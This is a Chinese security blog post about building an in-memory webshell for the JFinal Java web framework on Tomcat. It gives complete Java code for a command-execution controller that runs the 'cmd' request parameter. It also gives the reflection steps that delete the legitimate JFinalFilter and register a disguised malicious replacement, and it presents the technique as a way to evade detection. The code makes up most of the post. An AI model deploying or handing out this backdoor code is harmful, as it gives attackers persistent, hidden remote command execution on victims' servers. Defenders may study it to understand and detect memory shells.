某知名Java框架内存马挖掘

挖掘到了某知名Java Web框架的内存马,原理类似Tomcat的Filter内存马,通过这个经历也发现了一种进阶的内存马免杀思路

0x01 介绍

看了师傅们的TomcatSpringMVC内存马思路

于是我尝试找了个国产框架做挖掘,经过不少的坑,成功造出了内存马

核心原理类似FilterTomcat内存马,不过又有较大的区别

在成功挖出内存马的时候,有了进一步的思考,也许一些思路可以用于Tomcat内存马的进阶免杀

框架名称是JFinal,在国内Java开发圈子中名气不错,应用范围不如Spring不过也不算冷门

github地址为:https://github.com/jfinal/jfinal

gitee地址为:https://gitee.com/jfinal/jfinal

目前该项目在Github有3.1K的Star,在Gitee上甚至有8K的Star

0x02 源码浅析

使用最新版JFinal框架

  1. <dependency>
  2. <groupId>com.jfinal</groupId>
  3. <artifactId>jfinal</artifactId>
  4. <version>4.9.15</version>
  5. </dependency>

简单写了点功能代码,该框架有点类似SpringMVC,基于Tomcat运行,路由控制也叫做Controller

  1. @Path("/test")
  2. public class TestController extends Controller {
  3. public void index(){
  4. String param = getPara("param");
  5. }
  6. }

添加路由需要编写一个类继承自JFinalConfig类,重写configRoute方法,按照如下的方式添加

  1. public class DemoConfig extends JFinalConfig {
  2. @Override
  3. public void configRoute(Routes me) {
  4. me.add("/hello", HelloController.class);
  5. me.add("/test", TestController.class);
  6. }
  7. }

web.xml中需要配置一个核心Filter,其中初始化参数为上文的配置类

  1. <filter>
  2. <filter-name>jfinal</filter-name>
  3. <filter-class>com.jfinal.core.JFinalFilter</filter-class>
  4. <init-param>
  5. <param-name>configClass</param-name>
  6. <param-value>org.sec.jdemo.DemoConfig</param-value>
  7. </init-param>
  8. </filter>
  9. <filter-mapping>
  10. <filter-name>jfinal</filter-name>
  11. <url-pattern>/*</url-pattern>
  12. </filter-mapping>

这个核心Filter代码如下,删减了无用的部分

  1. public class JFinalFilter implements Filter {
  2. protected JFinalConfig jfinalConfig;
  3. ...
  4. protected Handler handler;
  5. // 单例模式的JFinal类
  6. protected static final JFinal jfinal = JFinal.me();
  7. // 允许空参构造
  8. public JFinalFilter() {
  9. this.jfinalConfig = null;
  10. }
  11. // 构造
  12. public JFinalFilter(JFinalConfig jfinalConfig) {
  13. this.jfinalConfig = jfinalConfig;
  14. }
  15. // 初始化
  16. @SuppressWarnings("deprecation")
  17. public void init(FilterConfig filterConfig) throws ServletException {
  18. // 空参构造会根据上文配置类生成配置信息
  19. if (jfinalConfig == null) {
  20. // 解析配置类
  21. createJFinalConfig(filterConfig.getInitParameter("configClass"));
  22. }
  23. // 初始化
  24. jfinal.init(jfinalConfig, filterConfig.getServletContext());
  25. ...
  26. // 处理请求相关交给handler
  27. handler = jfinal.getHandler();
  28. }
  29. public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
  30. ...
  31. // 处理请求
  32. handler.handle(target, request, response, isHandled);
  33. ...
  34. // 继续传递Filter
  35. chain.doFilter(request, response);
  36. }
  37. // 空参构造会调用这里
  38. protected void createJFinalConfig(String configClass) {
  39. // 如果配置类为空则报错
  40. if (configClass == null) {
  41. throw new RuntimeException("The configClass parameter of JFinalFilter can not be blank");
  42. }
  43. try {
  44. // 反射加载配置类
  45. Object temp = Class.forName(configClass).newInstance();
  46. jfinalConfig = (JFinalConfig)temp;
  47. } catch (ReflectiveOperationException e) {
  48. throw new RuntimeException("Can not create instance of class: " + configClass, e);
  49. }
  50. }
  51. }

源码大致看到这里就可以了,其中的一些坑将在后文分析

0x03 思路分析

Jfinal不如SpringMVC完善,导致了一些困难

例如它没有SpringContext,也没有各种register*接口供用户动态注册

添加内存马的思路很简单,想办法注册一个路由,映射到恶意的代码造成RCE

所以首先需要分析框架如何处理请求的

所有的映射关系都保存在这样的一个类中

  1. public class ActionMapping {
  2. // 用户配置的路由
  3. protected Routes routes;
  4. // 映射关系的记录: /test->Action
  5. protected Map<String, Action> mapping = new HashMap<String, Action>(2048, 0.5F);
  6. // 构造
  7. public ActionMapping(Routes routes) {
  8. this.routes = routes;
  9. }
  10. // 这个方法较长
  11. // 目的很简单:routes转mapping
  12. protected void buildActionMapping() {...}

ActionHandler类中处理请求,该类比较复杂

  1. public class ActionHandler extends Handler {
  2. // 映射关系记录
  3. protected ActionMapping actionMapping;
  4. // 注意这个方法
  5. protected void init(ActionMapping actionMapping, Constants constants) {
  6. this.actionMapping = actionMapping;
  7. ...
  8. }
  9. ...
  10. protected Action getAction(String target, String[] urlPara) {
  11. // 从映射关系里查找
  12. return actionMapping.getAction(target, urlPara);
  13. }
  14. // 处理请求
  15. public void handle(String target, HttpServletRequest request, HttpServletResponse response, boolean[] isHandled) {
  16. if (target.indexOf('.') != -1) {
  17. return ;
  18. }
  19. ...
  20. Action action = getAction(target, urlPara);
  21. // 没有这个映射关系返回404
  22. if (action == null) {
  23. if (log.isWarnEnabled()) {
  24. log.warn("404 Action Not Found: " + (qs == null ? target : target + "?" + qs));
  25. }
  26. return ;
  27. }
  28. ...
  29. }
  30. }

其实看完ActionHandler方法后大概有思路了,构造一个新的映射关系,替换全局变量actionMapping

然而不现实,因为该变量是非静态的,无法反射获取,无法做到直接获取JVM中的对象

所以只能走init方法,寻找构造ActionHandler类的地方,分析传入的ActionMapping参数是否可控

JFinal类找到唯一的一处调用init方法代码

不过有了新的问题:JFinal类的Handler属性和actionMapping都不可以反射设置

先静心继续分析,总会有突破口

  1. private Handler handler;
  2. private ActionMapping actionMapping;
  3. private void initHandler() {
  4. ActionHandler actionHandler = Config.getHandlers().getActionHandler();
  5. if (actionHandler == null) {
  6. actionHandler = new ActionHandler();
  7. }
  8. actionHandler.init(actionMapping, constants);
  9. handler = HandlerFactory.getHandler(Config.getHandlers().getHandlerList(), actionHandler);
  10. }
  11. Handler getHandler() {
  12. return handler;
  13. }

注意到handler的一处对外方法getHandler

寻找调用点,在JfinalFilterinit方法中被调用

  1. // Handler
  2. protected Handler handler;
  3. // 单例模式的Jfinal对象
  4. protected static final JFinal jfinal = JFinal.me();
  5. public void init(FilterConfig filterConfig) throws ServletException {
  6. if (jfinalConfig == null) {
  7. createJFinalConfig(filterConfig.getInitParameter("configClass"));
  8. }
  9. jfinal.init(jfinalConfig, filterConfig.getServletContext());
  10. ...
  11. // 这里被调用
  12. handler = jfinal.getHandler();
  13. }

init方法被初始化ActionHandler后,在doFilter方法中调用

看到handler.handle方法,大概有了新思路

  1. public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
  2. ...
  3. // 处理请求
  4. handler.handle(target, request, response, isHandled);
  5. ...
  6. // 继续传递Filter
  7. chain.doFilter(request, response);
  8. }

只要可以操作JFinalFilterActionHandler属性,设置其中的ActionMapping为添加了恶意的映射,在doFilter方法中调用handle方法,使请求可以匹配到恶意Controller进而实现内存马

不过JFinalFilterActionHandler非静态属性是不可以反射设置的

唯一设置的地方在这里:jfinal.getHandler();

这个jfinal是什么东西?

  1. protected static final JFinal jfinal = JFinal.me();

这是一个静态JFinal类变量,虽然反射设置final属性比较麻烦,但可以设置了,找到突破点!

结合以上的思路,构造出一个恶意的JFinal类,设置对应的属性,反射调用initHandler方法得到目标ActionHandler

然后设置JFinalFilterJFinal属性为构造的恶意类,这时候触发JFinalFilterinit方法即可实现添加路由

新的问题出现,无法设置JVM中的JFinalFilter对象的属性,只能设置新对象的属性

于是想到一个巧妙的手法:

  1. 利用c0ny1师傅写的Tomcat删除Filter代码,删除目前的JFinalFilter
  2. 添加反射构造的恶意JFinalFilter,甚至不需要手动触发init方法即可实现内存马

又有一个新的问题,目前运行环境已有了的路由会和新的冲突

例如已有/hello如果重新注册Filter会再次加载配置文件,处理其中的/hello会报错

我们新增的内存马路由排序是位于/hello之后的,抛出异常后导致无法处理内存马路由

  1. Action action = new Action(controllerPath, actionKey, controllerClass, method, methodName, actionInters, route.getFinalViewPath(routes.getBaseViewPath()));
  2. if (mapping.put(actionKey, action) != null) {
  3. throw new RuntimeException(buildMsg(actionKey, controllerClass, method));
  4. }

解决起来不麻烦,自己造一个空的配置文件,并设置到JFinalFilter调用init方法的参数

  1. public class EmptyConfig extends JFinalConfig {
  2. @Override
  3. public void configConstant(Constants me) {
  4. }
  5. @Override
  6. public void configRoute(Routes me) {
  7. }
  8. @Override
  9. public void configEngine(Engine me) {
  10. }
  11. @Override
  12. public void configPlugin(Plugins me) {
  13. }
  14. @Override
  15. public void configInterceptor(Interceptors me) {
  16. }
  17. @Override
  18. public void configHandler(Handlers me) {
  19. }
  20. }

JFinalFilterinit方法中,如果filterConfig存在,如果不为空那么就不会解析配置,成功绕过

(这个空文件和null要区分开,空文件是为了防止路由冲突

这时获取到的handler就是恶意构造的

  1. protected JFinalConfig jfinalConfig;
  2. public void init(FilterConfig filterConfig) throws ServletException {
  3. if (jfinalConfig == null) {
  4. createJFinalConfig(filterConfig.getInitParameter("configClass"));
  5. }
  6. ...
  7. handler = jfinal.getHandler();
  8. }

0x04 代码实现

思路清晰后就剩代码实现了

首先来一个恶意的Controller

  1. public class ShellController extends Controller {
  2. public void index() throws Exception {
  3. String cmd = getPara("cmd");
  4. // 简单的回显马
  5. Process process = Runtime.getRuntime().exec(cmd);
  6. StringBuilder outStr = new StringBuilder();
  7. java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
  8. java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
  9. String s = null;
  10. while ((s = stdInput.readLine()) != null) {
  11. outStr.append(s).append("\n");
  12. }
  13. renderText(outStr.toString());
  14. }
  15. }

添加恶意路由

  1. Class<?> clazz = Class.forName("com.jfinal.core.Config");
  2. Field routes = clazz.getDeclaredField("routes");
  3. routes.setAccessible(true);
  4. Routes r = (Routes) routes.get(Routes.class);
  5. r.add("/shell", ShellController.class);

构造恶意JFinal对象并设置ActionMapping属性

  1. Class<?> jfClazz = Class.forName("com.jfinal.core.JFinal");
  2. // 拿到当前单例模式对象
  3. Field me = jfClazz.getDeclaredField("me");
  4. me.setAccessible(true);
  5. JFinal instance = (JFinal) me.get(JFinal.class);
  6. // 属性
  7. Field mapping = instance.getClass().getDeclaredField("actionMapping");
  8. mapping.setAccessible(true);
  9. // 构造恶意的ActionMapping对象
  10. ActionMapping actionMapping = new ActionMapping(r);
  11. // 设置了ActionMapping对象的Routes属性还不够
  12. // 需要调用ActionMapping的buildActionMapping把Routes转为Mapping
  13. Method build = actionMapping.getClass().getDeclaredMethod("buildActionMapping");
  14. build.setAccessible(true);
  15. build.invoke(actionMapping);
  16. // 设置属性
  17. mapping.set(instance, actionMapping);

这一步也是至关重要,必须调用了JFinal.initHandler才可以调用到ActionHandler.init方法

调用ActionHandler.init方法传入上文设置的恶意ActionMapping才可以构造出恶意的ActionHandler

  1. Method initHandler = jfClazz.getDeclaredMethod("initHandler");
  2. initHandler.setAccessible(true);
  3. initHandler.invoke(instance);

构造一个新的JFinalFilter对象

  1. Class<?> filterClazz = Class.forName("com.jfinal.core.JFinalFilter");
  2. JFinalFilter filter = (JFinalFilter) filterClazz.newInstance();

设置jfinal属性,对象的final属性操作比较麻烦

  1. Field field = filterClazz.getDeclaredField("jfinal");
  2. field.setAccessible(true);
  3. Field modifiersField = Field.class.getDeclaredField("modifiers");
  4. modifiersField.setAccessible(true);
  5. // 处理final问题
  6. modifiersField.setInt(field, field.getModifiers() &amp; ~Modifier.FINAL);
  7. field.set(filter, instance);

构造一个空的jfinalConfig并设置到JfinalFilter对象中

  1. Field configField = filterClazz.getDeclaredField("jfinalConfig");
  2. configField.setAccessible(true);
  3. configField.set(filter,new EmptyConfig());

参考c0ny1师傅的删除Filter代码删除已存在的JFinalFilter对象

  1. // 不依赖request的StandartContext
  2. WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)
  3. Thread.currentThread().getContextClassLoader();
  4. StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();
  5. deleteFilter(standardCtx,"jfinal");

添加新的JfinalFilter

  1. FilterDef filterDef = new FilterDef();
  2. filterDef.setFilter(filter);
  3. // 这个名字可以确定
  4. // 99%的开发者都不会改变
  5. filterDef.setFilterName("jfinal");
  6. filterDef.setFilterClass(filter.getClass().getName());
  7. // 必须设置一个init param参数
  8. // 但具体的值可以随意写
  9. // 因为已反射设置为空的配置
  10. filterDef.addInitParameter("configClass","Test");
  11. standardCtx.addFilterDef(filterDef);
  12. FilterMap filterMap = new FilterMap();
  13. filterMap.addURLPattern("/*");
  14. filterMap.setFilterName("jfinal");
  15. filterMap.setDispatcher(DispatcherType.REQUEST.name());
  16. standardCtx.addFilterMapBefore(filterMap);
  17. Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
  18. constructor.setAccessible(true);
  19. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardCtx, filterDef);
  20. HashMap<String, Object> filterConfigs = getFilterConfig(standardCtx);
  21. filterConfigs.put("jfinal", filterConfig);

涉及到的几个方法代码,参考自c0ny1师傅

  1. // 删除Filter
  2. public synchronized void deleteFilter(StandardContext standardContext, String filterName) throws Exception {
  3. HashMap<String, Object> filterConfig = getFilterConfig(standardContext);
  4. Object appFilterConfig = filterConfig.get(filterName);
  5. Field _filterDef = appFilterConfig.getClass().getDeclaredField("filterDef");
  6. _filterDef.setAccessible(true);
  7. Object filterDef = _filterDef.get(appFilterConfig);
  8. Class clsFilterDef = null;
  9. try {
  10. clsFilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
  11. } catch (Exception e) {
  12. clsFilterDef = Class.forName("org.apache.catalina.deploy.FilterDef");
  13. }
  14. Method removeFilterDef = standardContext.getClass().getDeclaredMethod("removeFilterDef",
  15. new Class[]{clsFilterDef});
  16. removeFilterDef.setAccessible(true);
  17. removeFilterDef.invoke(standardContext, filterDef);
  18. Class clsFilterMap = null;
  19. try {
  20. clsFilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
  21. } catch (Exception e) {
  22. clsFilterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
  23. }
  24. Object[] filterMaps = getFilterMaps(standardContext);
  25. for (Object filterMap : filterMaps) {
  26. Field _filterName = filterMap.getClass().getDeclaredField("filterName");
  27. _filterName.setAccessible(true);
  28. String filterName0 = (String) _filterName.get(filterMap);
  29. if (filterName0.equals(filterName)) {
  30. Method removeFilterMap = standardContext.getClass().getDeclaredMethod("removeFilterMap",
  31. new Class[]{clsFilterMap});
  32. removeFilterDef.setAccessible(true);
  33. removeFilterMap.invoke(standardContext, filterMap);
  34. }
  35. }
  36. }
  37. // 获取FilterConfig
  38. public HashMap<String, Object> getFilterConfig(StandardContext standardContext) throws Exception {
  39. Field _filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
  40. _filterConfigs.setAccessible(true);
  41. HashMap<String, Object> filterConfigs = (HashMap<String, Object>) _filterConfigs.get(standardContext);
  42. return filterConfigs;
  43. }
  44. // 获取FilterMap
  45. public Object[] getFilterMaps(StandardContext standardContext) throws Exception {
  46. Field _filterMaps = standardContext.getClass().getDeclaredField("filterMaps");
  47. _filterMaps.setAccessible(true);
  48. Object filterMaps = _filterMaps.get(standardContext);
  49. Object[] filterArray = null;
  50. try {
  51. Field _array = filterMaps.getClass().getDeclaredField("array");
  52. _array.setAccessible(true);
  53. filterArray = (Object[]) _array.get(filterMaps);
  54. } catch (Exception e) {
  55. filterArray = (Object[]) filterMaps;
  56. }
  57. return filterArray;
  58. }

0x05 效果

最终效果

0x06 总结思考

已经能够构造出内存马了,后续的步骤就是找到触发点,例如上传JSP执行或者反序列化漏洞触发,不过这就不是本文的重点了

代码地址:https://github.com/EmYiQing/JFinalShell

这种替换Filter操作实现的内存马是一种新的免杀思路:

谁都不会想到真正有问题的filter会是核心配置JFinalFilter

不只可以用于JFinal这种,也可以考虑TomcatFilter型以及各种其他框架

  • 发表于 2021-11-25 09:41:32
  • 阅读 ( 8386 )
  • 分类:WEB安全

0 条评论

4ra1n
4ra1n

4 篇文章